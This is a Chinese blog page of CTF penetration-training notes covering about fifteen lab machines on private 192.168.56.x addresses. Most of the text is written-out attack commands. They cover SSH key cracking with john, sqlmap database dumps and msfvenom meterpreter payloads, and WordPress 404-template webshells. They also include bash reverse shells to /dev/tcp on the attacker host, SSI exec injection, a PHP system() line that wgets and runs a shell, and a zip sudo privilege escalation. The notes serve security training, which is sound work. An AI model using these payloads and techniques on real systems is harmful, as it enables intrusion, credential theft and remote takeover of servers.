CTF渗透训练(笔记)-程序员宅基地

技术标签: 笔记  web安全  系统安全  安全  服务器  windows  网络安全  CTF渗透训练  

前言

关于以下场景中需要用到的环境和镜像以及CTF渗透教学视频均已在链接中

链接:https://www.alipan.com/s/KPph3SjbUJr 提取码: x1k7

SSH私钥泄露

一、信息收集

攻击机ip为192.168.56.102

靶机ip为192.168.56.101

二、信息探测

1.挖掘开放服务信息

使用nmap工具扫描靶机所有开放端口,发现特殊端口31337开放并提供http服务

nmap -sV 192.168.56.101

2.寻找隐藏起来的后台文件

直接访问192.168.56.101:31337无有效信息,源码也无有效信息。故使用dirb工具探测此服务的隐藏文件

dirb http://192.168.56.101:31337

发现服务器后台有5个文件,进一步查看发现前三个没什么有价值的信息

但发现第5个文件robots.txt中规定禁止爬虫访问三个文件,其中两个文件已查看过,但taxes文件首次出现,遂查看该文件(访问http://192.168.56.101:31337/taxes)

得到第一个flag

发现第4个文件“.ssh”中可能包含私钥(id_rsa)、认证关键字(authorized_keys)、公钥(id_rsa.pub)三个文件,分别尝试访问

http://192.168.56.101:31337/.ssh/id_rsa
http://192.168.56.101:31337/.ssh/authorized_keys

并下载文件

三、漏洞利用

1.获取服务器登录密码

打开authorized_keys文件,发现一个用户simon

于是尝试使用私钥文件直接访问ssh,在id_rsa所在目录中执行ssh指令

ssh -i id_rsa [email protected]

被要求输入密码,可目前不知道密码

想到使用ssh2john工具将id_rsa秘钥信息转换为John the Ripper工具可以识别的信息并保存在rsacrack文件中,进而利用john自带的字典解密其中的信息。

chmod 600 id_rsa

ssh2john id_rsa > rsacrack python /usr/share/john/ssh2john.py id_rsa > rsacrack(报错使用)

使用zcat指令加载john自带的rockyou.txt字典(zcat可以不真正解压缩文件,就能显示压缩包中文件的内容)并将结果用管道传递给john工具(“ | ”符号叫做管道符号,可以把前一个命令原本要输出到屏幕的数据当作是后一个命令的标准输入)

使用john工具在已知密文的情况下尝试破解出明文

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

得到密码:starwars,返回上一个终端输入密码即可远程登录到这台主机上

2.提权与获取flag

使用pwd指令可立刻得知目前所在的工作目录的绝对路径名称,
使用ls指令可列出目前工作目录所含之文件及子目录,
使用cd指令可打开指定文件夹,
使用cat指令可用于连接文件并打印到标准输出设备上(打开文件),
/root是系统管理员(也叫超级用户)的主目录。

进入/root目录后,发现特殊文件flag.txt,但访问被拒绝,于是想要提权以便打开该文件

从根目录“/”开始查找整个系统所有文件中拥有suid特殊权限的文件,并忽略错误以防打断查找

find / -perm -4000 2>/dev/null

发现同名文件read_message,于是尝试访问。其中read_message文件中无有效信息,故仔细阅读read_message.c文件

审计read_message.c中代码

1.得到第二个flag
2.发现固定大小的数组,想能否制造内存溢出
3.若要正确执行程序,则输入的前五个字符应为“Simon

执行read_message.c文件

尝试输入SimonAAAAAAAAAAAAAAA/bin/sh,成功通过SimonAAAAAAAAAAAAAAA占满了buf数组的20个空位,并通过内存溢出部分的“/bin/sh”指令get到此服务器shell同时拿到了root权限

此时再次尝试访问刚刚无权访问的flag.txt文件,发现可以访问了

得到第三个flag

SSH渗透root主机

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.103

二、信息探测

1.挖掘开放服务信息

使用nmap工具扫描靶机所有开放端口

nmap -sV 192.168.56.103

一.发现靶机开放了22端口的ssh服务,于是想到:
①是否有私钥泄露
②能否找到私钥的用户名
③束手无策时考虑暴力破解密码

二.发现靶机开放了80端口的http服务,于是想到
①尝试直接用浏览器访问靶机开放了http服务的端口
②使用dirb工具探测http的目录

2.挖掘隐藏敏感信息

浏览器访问http://192.168.56.103:80,得

使用dirb工具探测此服务的隐藏文件

dirb http://192.168.56.103:80

在其中找到有用的目录icons

在一个txt文件找到了很可能是ssh的私钥信息,并且无需解密可以直接使用

三、漏洞利用

1.尝试登录服务器

使用wget工具下载刚找到的私钥文件

wget "http://192.168.56.103/icons/VDSoyuAXiO.txt"

预处理私钥文件

重命名为id_rsa,修改为600权限(否则私钥不生效,会要求输入密码)

mv VDSoyuAXiO.txt id_rsa

chmod 600 id_rsa

尝试登录服务器,刚才访问的网页主界面出现过3个人名

试用jimmy用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录

试用hadi用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录

试用hadi用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录

2.提权

使用id指令判断当前用户是否具有root权限(一般情况下,flag文件只允许root用户及其对应的用户组访问)

发现当前使用的martin用户不具有root权限,需要提权

使用crontab指令可用来定期执行程序,在/etc/crontab文件中存放用户的定时计划。
1.如果在/etc/crontab文件中有某个用户的定时计划但具体目录中没有对应的可执行文件,则攻击者可以自行创建该可执行文件并在其中加入自己的恶意代码,该行为可创建反弹shell使得靶机主动向攻击机发起会话请求,攻击机通过监听相应端口可以get到靶机的shell进而获取root权限
2.如果在/etc/crontab文件中有某个用户的定时计划且具体目录中存在对应的可执行文件,则攻击者可以尝试能否访问并添加恶意代码以创建反弹shell

使用cat指令访问crontab文件查看定时任务

发现jimmy用户设定每隔5分钟执行一次tmp目录下的sekurity.py文件,但实际上在tmp目录中并未发现该文件,因而可以自行创建该文件并添加恶意代码

cd /tmp && ls

编写脚本文件

msfvenom -l payloads | grep python

使用python/meterpreter/reverse_tcp反弹shell

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.56.104 lport=8888

将反弹shell配置内容用vi编辑器复制粘贴到靶机/tmp/sekurity.py

终端输入msfconsole打开metasploit

use exploit/multi/handler #设置handler模块

set payload python/meterpreter/reverse_tcp #加载payload模块

set lhost 192.168.56.104 #设置攻击机ip

set lport 8888 #设置端口

exploit -j #设置后台利用

靶机python运行反弹shell文件

等待shell反弹,查看session

session -i 1        #进入 jimmy

优化会话

python -c "import pty;pty.spawn('/bin/bash')"

暴力破解root用户的密码

使用git指令下载cupp工具,并赋予cupp.py文件可执行权限,随后可以开始以交互的方式创建字典,如没有联网输入下载(git clone https://github.com/jeanphorn/common-password.git)

生成好的字典文件存放在/common-password目录下

使用metasploit破解SSH

得知hadi用户的密码为hadi123

拿到具有root权限的shell

session -i 1

并优化会话

使用su命令得到root权限(需要输入密码:hadi123)

成功获取root权限

3.获取flag

打开flag.txt文件

成功获取到flag

SMB服务信息泄露

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.101

二、信息探测

使用nmap工具扫描靶机开放服务信息

使用nmap工具扫描靶机全部信息

nmap -A -v -T5 192.168.56.101

尝试利用smb协议登录共享文件夹,先查看smb服务器端所分享出来的所有资源

smbclient -L 192.168.56.101

要求输入密码,尝试空密码(直接回车),成功登录共享文件夹

打开各个共享文件夹查看具体内容

smbclient '\\192.168.56.101\print$'

smbclient '\\192.168.56.101\IPC$'

smbclient '\\192.168.56.101\share$'

其中,print文件夹密码为空但无访问权限,IPC文件夹密码为空可访问但无内容,share文件夹密码为空可访问且存在大量文件

下载敏感文件寻找敏感信息

敏感文件1(config配置文件)

配置文件中可能存在用户名和密码,下载:

另外启动一个终端查看文件内容

得到了一个数据库用户和对应密码

敏感文件2

下载:

另外启动一个终端查看文件内容

得到了一个默认密码,其他文件和文件夹内无敏感信息

访问http服务并寻找隐藏起来的后台文件,使用dirb工具探测此服务的隐藏文件

dirb http://192.168.56.101:80

除wordpress外无有效信息,访问http://192.168.56.101/wordpress/得

得到一个关键名字 togie

三、漏洞利用

1.尝试各种手段登录服务器

1.1尝试远程登录mysql数据库

mysql -h 192.168.56.101 -u Admin -p

输入密码:TogieMYSQL12345^^

攻击机无访问权限

1.2尝试利用ssh协议

ssh [email protected]

尝试输入密码,TogieMYSQL12345^^,错误;12345,错误,无法远程访问服务器

1.3尝试利用smb协议的远程溢出漏洞

先确定smb版本

再查看是否有远程溢出漏洞

searchsploit Samba smbd 3.X - 4.X

searchsploit Samba smbd 4.3.11-Ubuntu

没有相关漏洞

1.4登录网站后台

经过刚才的信息收集,发现该靶机服务器开放访问的网站是由WordPress程序建立的,而使用WordPress搭建的网站登录后台均为:网站域名/wp-admin,故浏览器访问:http://192.168.56.101:80/wordpress/wp-admin/

输入用户名:"Admin"和密码:“TogieMYSQL12345^^”,登录成功

2.提权

2.1制作反弹shell

可以使用msfvenom工具来生成反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.104 lport=4444 -f raw

将生成的代码从注释符后开始选取并复制到某个php文件中即可

2.2攻击机启动监听

打开msfconsole

msf6 > use exploit/multi/handler //使用msf工具的侦听模块exploit/multi/handler

msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp //设置挂载。可用于监听基于TCP协议的反向链接反弹shell, 使用起来很稳定

msf6 exploit(multi/handler) > set lhost 192.168.56.104 //填入攻击机ip

其中监听端口LPORT:4444为默认配置,此处监听端口配置需要与反弹shell的php脚本中的设定一致

2.3获取反弹shell

上传反弹shell脚本至服务器后台,执行脚本(即访问脚本所在的php页面)

上传反弹shell脚本至服务器后台

用脚本代码替换原来的404处理代码并上传

访问脚本所在的php页面

观察当前页面URL:http://192.168.56.101/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen&scrollto=0

当前网站的404模板文件属于twentyfifteen主题模板,而使用WordPress搭建的网站中404模板文件的位置为“wordpress/wp-content/themes/当前使用的主题模板/404.php”,故访问404.php页面的URL为:http://192.168.56.101/wordpress/wp-content/themes/twentyfifteen/404.php

访问上述URL,成功get到反弹shell

2.4拿到root权限

拿到shell并进行预处理

shell

id

python -c "import pty; pty.spawn('/bin/bash')"

切换用户

查看本机所有用户

cat /etc/passwd

发现了一个熟悉的用户名——“togie”,并且发现该用户位于home目录下,遂尝试登录该用户

su togie

登录成功

提权

成功提升到root权限

3.获取flag

打开proof.txt文件

成功获取到flag

FTP服务后门利用

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.101

二、信息探测

使用nmap工具扫描靶机开放的服务以及对应版本

nmap -sV 192.168.56.101

三、漏洞利用

1.漏洞查找

searchsploit ProFTPD 1.3.3c

发现存在后门,可以尝试远程溢出。既可以通过修改对应文件中的源代码(修改某些参数)进而执行远程溢出从而利用漏洞,也可以使用Metasploit工具利用该漏洞

2.漏洞利用

利用Metasploit进行远程溢出攻击

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor //利用exp

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show payloads //查看可使用的挂载

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse //选择挂载

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set rhost 192.168.56.101 //设置靶机ip

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 192.168.56.104 //设置攻击机ip

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit //开始利用漏洞

成功拿到反弹shell,且当前账户拥有root权限

优化会话

python -c "import pty; pty.spawn('/bin/bash')" //优化终端

3.获取flag

cd /root

ls

cat flag

成功获取到flag

靶场夺旗

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.102

二、信息探测

1.使用nmap工具

使用nmap工具扫描靶机

nmap -p- -T5 192.168.56.102

2.使用nikto工具

使用nikto工具进一步探测靶机敏感信息

nikto -host http://192.168.56.102:80

nikto -host http://192.168.56.102:9090

3.使用dirb工具

使用dirb工具探测靶机http服务对应的目录

dirb http://192.168.56.102:80

dirb http://192.168.56.102:9090

三、漏洞利用

4.使用nc工具

nc 192.168.56.102 13337

 得到一个flag

nc 192.168.56.102 22222

发现该端口运行的是ssh服务

nc 192.168.56.102 60000

 得到一个flag

5.使用浏览器

直接访问:https://192.168.56.102:9090

得到一个flag

根据之前用dirb http://192.168.56.102:80扫描得到的信息:

浏览器访问http://192.168.56.102:80,无有效信息

访问http://192.168.56.102:80/cgi-bin/,无有效信息

访问http://192.168.56.102:80/passwords/,访问发现flag.txt

得到一个flag

继续访问其他两个文件探索信息,在passwords.html查看源代码时发现未知账号的密码:winter

浏览器访问:http://192.168.56.102:80/robots.txt

得到三个禁止爬虫访问的地址,构造链接并访问:
http://192.168.56.102/cgi-bin/root_shell.cgi
http://192.168.56.102/cgi-bin/tracertool.cgi
http://192.168.56.102/cgi-bin/

其中‘root_shell.cgi’与‘cgi-bin/’无法找到有效信息,但在访问‘tracertool.cgi’时

发现该页面可以输入指令,想到是否存在命令注入漏洞

文本框中输入‘127.0.0.1’,点击Trace!,分析URL

得知命令执行过程为:将文本框中语句以get方法传递给服务器的‘tracertool.cgi’文件并执行,随后将结果返回客户端网页

试探性输入:127.0.0.1;id

发现‘id’命令得到执行,但当前用户不具有root权限。考虑到之前得到了一个密码(winter),尝试打开‘/etc/passwd’文件,查看是否有用户名可以使用该密码登录ssh

127.0.0.1;cat /etc/passwd

相近命令:127.0.0.1;more /etc/passwd

分析文件:

发现只有root、RickSanchez、Morty、Summer四个用户名可以用于登录,于是尝试使用ssh远程登录服务器

6.使用SSH远程登录服务器

ssh [email protected]

发现无法通过22号端口使用ssh远程登录,但注意到之前用‘nc 192.168.43.213 22222’扫描得到的信息

说明可以通过22222号端口使用ssh远程登录

ssh -p 22222 [email protected]

ssh -p 22222 [email protected]

ssh -p 22222 [email protected]

ssh -p 22222 [email protected]

经尝试,成功使用,用户名:Summer;密码:winter,远程登录到服务器。发现当前目录下存在FLAG.txt文件,但cat命令疑似被过滤,遂使用more命令代替

得到一个flag

7.使用FTP匿名登录服务器

根据之前用nmap -p- -T5 192.168.56.102扫描得到的信息,可尝试匿名登录ftp服务器根目录,用浏览器访问

ftp://192.168.56.102

打开pub文件夹,无文件,打开FLAG.txt

得到一个flag

Sql-GET参数注入

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.103

二、信息探测

1.使用nmap工具

使用nmap工具扫描靶机开放的服务以及对应版本

nmap -sV 192.168.56.103

2.使用nikto工具

使用nikto工具进一步探测靶机敏感信息

nikto -host http://192.168.56.103:80

3.使用浏览器

根据之前用nikto -host http://192.168.56.103:80扫描得到的信息,得知存在用户登录界面,构造链接直接访问http://192.168.56.103/admin/login.php

经尝试无法用弱口令Login:admin;Password:admin登录,故进行深入漏洞扫描

三、漏洞扫描

启动"OWASP_ZAP"工具

按需选择后点击‘Start’

输入目标URL,点击‘攻击’开始扫描

扫描完成

分析扫描结果,发现存在SQL注入漏洞,可以直接利用。该漏洞是高危漏洞(红色旗帜),可以直接获取服务器权限

查看SQLi报告,得知存在漏洞的URL为http://192.168.56.103/cat.php?id=3

四、漏洞利用

可以使用sqlmap工具利用SQLi漏洞

sqlmap -u "http://192.168.56.103/cat.php?id=3"

得知确实存在SQLi漏洞,且’id’参数存在

  • 基于布尔的盲注
  • 基于报错的注入
  • 基于时间的盲注
  • 联合查询注入

sqlmap -u "http://192.168.56.103/cat.php?id=3" -dbs

sqlmap -u "http://192.168.56.103/cat.php?id=3" -D "photoblog" -tables

sqlmap -u "http://192.168.56.103/cat.php?id=3" -D "photoblog" -T "users" -columns

sqlmap -u "http://192.168.56.103/cat.php?id=3" -D "photoblog" -T "users" -C "login,password" -dump

得到可用于登录的用户名admin’,密码的密文和经由sqlmap解密后的明文’P4ssw0rd’,进而可以登录系统后台

//也可以尝试直接获取shell,格式为(sqlmap -u "目标URL" --os-shell):

sqlmap -u "http://192.168.56.103/cat.php?id=3" --os-shell

五、提权

1.制作反弹shell文件

netstat -pantu

可以使用msfvenom工具来生成反弹shell文件

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.104 lport=4444 -f raw > /home/kali/shell.php

执行"msfvenom … raw"后会生成一段代码,可以通过">“将代码直接存放进”/home/kali"目录下的"shell.php"文件,若"shell.php"文件不存在则会被创建,在靶机上执行该php文件将返回一个shell给攻击机

2.攻击机启动监听

打开msfconsole

msf6 > use exploit/multi/handler        //使用msf工具的侦听模块

msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp        //设置挂载用于监听基于TCP协议的反向链接反弹shell

msf6 exploit(multi/handler) > set lhost 192.168.56.104        //填入攻击机ip

3.获取反弹shell

点击"Add a new picture

选择刚才制作的反弹shell脚本文件,点击“Add”上传

发现<.php>被过滤无法上传

发现可将小写<.php>改为大写<.PHP>上传(将文件后缀改为大写)

上传成功!点击shell访问“shell.PHP”文件执行恶意代码

成功获取反弹shell

sysinfo

渗透完成

Sql-POST参数之HTTP报文注入

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.105

二、信息探测

使用nmap工具扫描主机开放的全部端口

nmap -p- -T5 192.168.56.105

使用nmap工具快速扫描主机全部信息

nmap -T5 -A -v 192.168.56.105

探测敏感信息

dirb http://192.168.56.105

nikto -host http://192.168.56.105

发现两个登录页面,弱口令admin没进去,先留着,可能存在sql注入

使用nikto,对8080端口也进行进一步探测

访问一下可疑页面,没什么发现

三、漏洞扫描

漏洞扫描器Owasp-zap

先对默认的80端口进行探测,未发现高危漏洞

接着扫描8080端口,也未发现高危漏洞

对登录界面我们想到该页面是否具有对应的SQL注入,可以使我们注入到系统库当中,获取对应的数据

四、漏洞利用

1.针对web进行漏洞扫描

打开burpsuite,放在后台准备抓取报文

去到可能具有sql注入的登录页面,随意输入用户名和密码,例如admin和123456

我们需要http流经burpsuite,需要浏览器设置代理与burpsuite一致

设置好后,回到页面登录,burpsuite获得截取到的报文

复制粘贴到桌面新建的request.raw文件

2.使用sqlmap利用SQL注入漏洞

sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch

sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbms mysql --batch

sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users --columns --dbms mysql --batch

sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --dbms mysql --batch

拿到了它的用户名和密码,把代理关了,我们就去登录它的后台:192.168.56.105:8080/wordpress/wp-login.php

接下来上传实现shell操作,上传webshell获取控制权

使用kali提供的反弹shell脚本,复制shell代码

去到后台页面,进入外观编辑页面

点击右边404,进入编辑页,将代码粘贴进去,修改好ip与port

点击下方更新按钮,完成shell上传

回到终端,监听4444端口

网页访问192.168.56.105:8080/wordpress/wp-content/themes/twentythirteen/404.php

终端得到了返回的shell

优化终

提权,尝试之前得到的后台密码

成功拿到root权限,sql注入成功

Sql-X-Forwarded-For参数注入

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.106

二、信息探测

1.挖掘开放服务信息

使用nmap扫描主机服务信息以及服务版本

nmap -sV 192.168.56.106

快速扫描主机全部信息

nmap -T5 -A -v 192.168.56.106

使用nikto对开放的80端口进行进一步挖掘

发现一个登录的可疑页面,使用浏览器打开页面

使用弱口令进不去,可能这个页面存在sql漏洞,具体是什么注入,我们用owasp-zap来探测

三、漏洞挖掘

输入需攻击的网页网址:http://192.168.56.106,点击攻击按钮

发现web具有sql注入漏洞,漏洞为X-Frame-Options参数

四、sqlmap注入

使用sqlmap去探测数据库中的库

sqlmap -u "http://192.168.56.106" --headers="X-Forwarded-For:*" --dbs --batch

使用sqlmap去探测photoblog库中的表

sqlmap -u "http://192.168.56.106" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch

使用sqlmap去探测users表中的元素

sqlmap -u "http://192.168.56.106" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch

对login和password元素进行探测,得到用户名和密码

sqlmap -u "http://192.168.56.106" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch

使用adminP4ssw0rd去登陆后台

进入后台

SSI注入

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.107

二、信息探测

1.端口扫描,服务探测

使用nmap工具扫描靶机开放的服务以及对应版本

nmap -sV 192.168.56.107

开放了80端口,Web服务——Apache服务器

nmap -T5 -A -v 192.168.56.107

2.Web详细信息探测

nikto -hos http://192.168.56.107

发现了敏感文件:index.shtml

3.目录扫描

dirb http://192.168.56.107

发现敏感目录:robots.txt文件、ssi目录等

网站下面有Ssi目录,结合该网站目录下面的index.shtml,判断该网站可能使用了ssi技术

网站下面的index中存放着SSI命令执行的关键字

http://192.168.56.107/index.php中疑似有命令执行功能,通过上面的关键字构建要执行的命令。<-- #exec cmd=“cat /etc/passwd” -->

三、漏洞利用

网站对用户输入的内容进行了过滤,Target输入框中对尖括号进行了过滤,Feedback输入框中对exec关键字进行了过滤

尖括号绕过方式有限,尝试使用大小写的方式绕过

成功绕过防御,构造命令

制作webshell,生成木马,上传到靶机root用户家目录

利用msfvenom生成木马,利用python反弹shell

将生成的木马放在/var/www/html(httpd服务的网站主目录)下面

启动kali的httpd服务

打开msfconsole

靶机上面执行命令使用wget下载文件并执行。

wget http://192.168.56.104/shell.py

 权限

<!--#EXEC cmd="chmod 777 shell.py" -->

运行脚本

<!--#EXEC cmd="python shell.py" -->

反弹shell

优化shell

获取权限

路径遍历

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.108

二、信息探测

使用nmap工具扫描靶机开放的服务以及对应版本

nmap -sV 192.168.56.108

nmap -T5 -A -v 192.168.56.108

三、探测敏感信息

nikto -host http://192.168.56.108

dirb http://192.168.56.108

目录扫描结果分析:http://192.168.56.108/dbadmin疑似数据库管理页面

SQLite数据库后台管理登录页面,可能存在弱口令登录或者暴力破解等问题

四、漏洞扫描

使用owasp-zap工具扫描

http://192.168.56.108/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

访问给定的URL触发目录遍历漏洞,查看/etc/passwd

五、制作与上传shell文件

寻找shell文件,粘到桌面

改名为shell.php,并改好ip和端口

去到数据库后台,上传shell。新建一个数据库,库名为shell.php

选中数据库,新建一个表,表名为shell,字段为1

新建字段shell,类型为text,值为反弹shell代码

<?php system("cd /tmp;wget http://192.168.56.104:8000/shell.php;chmod +x shell.php;php shell.php");?>

上传shell成功

回到终端的桌面,开启python服务器"SimpleHTTPServer"

开启监视端口,监听4444端口

去到路径遍历漏洞页面,修改后面的信息,去执行shell文件

http://192.168.56.108/view.phppage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr/databases/shell.php

优化会话

拿到www-data用户权限

六、提升root用户权限

使用nmap工具扫描得出ssh服务开放

用户名zico密码sWfCsfJSPV9H3AmQzw8,登录成功

利用zip进行提权

touch exploit

sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

提升到root权限

找到flag

暴力破解

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.101

二、信息探测

1.挖掘开放服务信息

nmap -sV 192.168.56.101

nmap -A -v -T5 192.168.56.101

2.测敏感信息

nikto -host http://192.168.56.101

深入挖掘,分析nmap .nikto扫描结果,并对结果进行分析,挖掘可以利用的信息

使用浏览器打开http:/ /192.168.56.101/敏感页面,查看敏感信息,发现一个login,于是点击

将该站点改为ip

发现了一个登录界面,所以我们就想着找用户名和密码

三、wpscan用户名枚举

wpscan --url vtcsec/secret/ --enumerate u

得到用户名为admin

四、使用msfconsole暴力破解

启动msfconsole

msf6 > use auxiliary/scanner/http/wordpress_login_enum

msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin

msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt

msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/

msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.56.101

msf6 auxiliary(scanner/http/wordpress_login_enum) > run

破解成功,得到密码也是admin

使用破解好的密码登录系统

点击登录进去是这样的

需要修改hosts,vim /etc/hosts

重新访问

五、上传webshell获取控制权

制作webshell,使用msfvenom制作shell代码,将代码复制下来

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.104 lport=4444 -f raw

wordpress后台寻找上传点
appearance的editor,然后再点击右侧的404 Template,将代码替换为shell代码

六、反弹shell

七、访问404页面

执行shell,获取反弹shell。

http: //192.168.56.101/secret/wp-content /themes/twentysevernteen /404.php

八、root提权

下载etc/passwd和/etc/shaodw

转换文件格式

使用john破解密码

九、提权

优化会话

su - marlinspike

得到flag

命令执行

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.110

二、信息探测

nmap -sV 192.168.56.110

nmap -T5 -A -v 192.168.56.110

三、探测敏感信息

nikto -host http://192.168.56.110:8080

访问192.168.56.110:8080,发现敏感信息

访问/test.jsp

四、进行系统命令执行

输入框输入ls -l /tmp

查看临时缓冲目录:ls -alh /tmp

查看home目录,挖掘用户信息:ls -alh /home

查看具体用户的目录:ls -alh /home/bill

查看系统信息:uname -a

查看bill用户:ssh bill@localhost sudo -l

关闭防火墙:ssh bill@localhost sudo ufw disable

五、反弹shell

攻击机启动netcat

终端输入:nc -nlvp 4444

网页输入框输入:ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.56.104/4444 0>&1

反弹成功

终端输入:python -m "SimpleHTTPServer"

制作webshell到桌面

网页输入框输入:ssh bill@localhost sudo wget "http://192.168.56.104:8000/webshell.jsp" -O /var/lib/tomcat8/webapps/ROOT/webshell.jsp

六、查看flag

得到flag

命令执行(使用集成工具测试)

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.109

二、信息探测

使用sparta工具对信息进行探测

提交IP之后的扫描结果,右键,浏览器打开

继续右键查看框架

右键使用dirbbuster来探测目录和文件

访问192.168.56.109/admin

访问使用nikto扫出的/dev敏感目录192.168.56.109/dev,点击webshell

返回/dev/页面,尝试获取页面源代码,在邮箱后面有一些对应的hash值,尝试使用crackstation.net进行破解,其中最后两个hash破解成功,分别为bulldog和bulldoglover

尝试使用邮箱中的用户名和对应的密码进行后台的登录(nick/bulldog)

尝试重新访问/dev/目录中的web-shell,能够执行一些指定的系统命令

三、漏洞利用

攻击者监听端口,利用命令执行功能反弹shell

nc -nlvp 4444

执行命令反弹端口
echo 'bash -i >& /dev/tcp/192.168.56.104/4444 0>&1' | bash

得到反弹shell,当前用户为普通用户

四、提权

信息收集,查看系统中可用的用户有哪些,并在bulldogadmin用户的家目录下面获取到了一个敏感目录

尝试进入该目录并查看该目录下面的文件

查看note文件中的内容,该文件的大致含义是执行另外一个文件能够获得用户密码

当前用户对于另一个文件没有执行权限,而且该文件为二进制文件,无法直接查看。但是该文件中一定书写了用户密码,尝试使用strings查看该文件中可利用的字符串strings customPermissionApp

该文件中有以上几个字符串,如果去掉每个字符串后面的“H”恰好形成了一句话“SUPERultimatePASSWORDyouCANTget”超级用户最终的密码,尝试使用该密码查看当前用户使用sudo命令的权限,拥有所有权限

切换至root用户

PUT上传漏洞

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.111

二、信息探测

扫描主机的全部开放端口

nmap -p- -T5 192.168.56.111

扫描主机的全部信息

nmap -T5 -A -v 192.168.56.111

使用dirb探测

dirb http://192.168.56.111

使用dirb对80端口进行探测,发现一个/test目录,打开,没什么发现

使用扫描工具owasp-zap来进行扫描,也没什么高危漏洞可利用

三、PUT漏洞

使用curl来探测

curl -v -X OPTIONS http://192.168.56.111/test

发现网页可以put上传文件,我们创建shell文件,修改好ip与端口,用于上传

cp/usr/share/webshells/php/php-reverse-shell.php shell.php

设置攻击机ip和端口

使用火狐插件RESTClient进行上传

选择put,选择Blob方式,将代码shell粘贴进去,上传

上传成功

使用nc开启监听反弹shell

nc -nlvp 443

点击shell.php链接,反弹shell

回到终端监听443端口,可以看到shell反弹

四、进入靶机

优化终端

python -c "import pty;pty.spawn('/bin/bash')"

五、提取

使用msfvenom

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=443 -f raw

使用nmap工具的put方式上传

nmap -p 80 192.168.56.111 --script http-put --script-args http-put.url='/test/reverse_shell.php',http-put.file='/root/桌面/reverse_shell.php'

上传成功

设置监听,打开msf

访问网页的reverse_shell.php

反弹shell

使用searchsploit查看信息

searchsploit chkrootkit

使用locate工具

命令注入

一、信息收集

攻击机ip为192.168.56.104

靶机ip为192.168.56.112

二、信息探测

nmap -sV 192.168.56.112

nmap -A -v -T5 192.168.56.112

nikto -host http://192.168.56.112

dirb http://192.168.56.112

三、深入挖掘

1.访问敏感页面

依次访问robots.txt下的禁止页面,在/nothing特殊的404

查看源码

2.访问/secure目录

下载backup.zip

解压文件复制到桌面,发现需要密码,利用之前/nothing网页源代码下的密码尝试

输入freedom

查看文件具体类型

file backup-cred.mp3

读取文件

cat backup-cred.mp3

利用网址

访问192.168.56.112/SecreTSMSgatwayLogin

3.登陆

账号是touhid密码是/nothing页面源代码下的密码依次尝试尝试到diana成功登录

四、登录-利用exploit-db

利用searchsploit进行渗透

searchsploit playSMS

查找路径

searchsploit -p 42003.txt

查看路径

cat /usr/share/exploitdb/exploits/php/webapps/42003.txt

访问提示页面

http://192.168.56.112/SecreTSMSgatwayLogin/index.php?app=main&inc=feature_sendfromfile&op=list

上传CSV文件

创建1.csv文件(桌面新建无内容)

利用BP解析数据包

再上传1.csv

根据提示执行代码

将1.csv改成<?php system('uname -a'); dia();?>.php

将该请求发送至repeater页面并且修改文件名为要执行的PHP代码,点击go将请求发出,点击Render查看图形化的响应页面,其中包含代码执行的结果

利用msfconsole监听端口

生成木马(注意:elf类型的文件是可执行的二进制文件)

生成shell

利用远程代码执行漏洞下载木马,因为需要绕过防火墙的原因所以对要执行的代码进行base64形式的编码,将生成的木马放到web网站的主目录下面

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.56.104 lport=4444 -f elf > /var/www/html/shell

启动Apache服务

service apache2 start

service apache2 status

生成命令

echo "wget http://192.168.56.102/shell -O /tmp/shell" | base64

得到

